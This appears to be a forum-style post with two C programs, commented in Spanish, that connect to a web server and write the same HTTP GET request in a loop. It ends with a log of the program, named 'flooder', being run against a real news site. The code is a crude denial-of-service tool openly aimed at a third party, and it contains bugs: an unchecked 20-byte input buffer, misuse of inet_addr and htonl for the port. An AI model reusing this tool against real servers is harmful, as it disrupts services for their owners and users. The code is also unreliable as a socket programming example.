#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
 
int main(int argc, char *argv[])
{
  char request[1024];
  char web[20];
  int puertods;
  printf("escribe la direccion web\n");
  std::cin>>web;
  printf("escribe el puerto (90 & 80) por defecto\n");
  std::cin>>puertods;
  struct hostent *host = gethostbyname(web);
  if(!host)
  {
    printf("No se ha podido resolver la direccion del servidor");
    exit(1);
  }
  struct sockaddr_in sock;
  sock.sin_family = AF_INET;
  sock.sin_port = htons(puertods);
  sock.sin_addr.s_addr = inet_addr(host->h_addr);
 
 
 int sockfd = socket(AF_INET, SOCK_STREAM, 0);
 int aux = connect(sockfd, (struct sockaddr*) &sock, sizeof(sock));
 if(aux==-1)
 {
  printf("No se pudo conectar al servidor");
  exit(2);
 }
 sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name);
 for(aux=0; aux<2000; aux++)
 {
   write(sockfd, request, strlen(request));
 }
 
}
 

#include <unistd.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
 
int main(int argc, char *argv[])
{
  char request[1024];
  struct hostent *host = gethostbyname(argv[1]);
  if(!host)
  {
    printf("No se ha podido resolver la direccion del servidor\n");
    _exit(1);
  }
  printf("host->h_addr: %s\n", inet_ntoa(*((struct in_addr *)host->h_addr)));
  struct sockaddr_in sock;
  sock.sin_family = AF_INET;
  sock.sin_port = htonl(atoi(argv[2]));
  sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
  printf("Direccion: %d\n", sock.sin_addr.s_addr);
 
 int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 if(sockfd==-1)
 {
  printf("No se pudo crear el socket\n");
  _exit(3);
 }
 printf("Socket creado\n");
 int aux;
 printf("Conectando...\n");
 if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr)))
 {
  printf("No se pudo conectar al servidor\n");
  _exit(2);
 }
 printf("Conectado\n");
 sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name);
 printf("Peticion en request\n");
 for(aux=0; aux<3; aux++)
 {
   write(sockfd, request, strlen(request));
   printf("%i peticion", aux);
 }
  close(sockfd);
 return 0;
}
 

$ ./flooder www.marca.com 80
host->h_addr: 193.110.128.199
20480
Direccion: -947884351
Socket creado
Conectando...
//Y tras varios minutos...
No se pudo conectar al servidor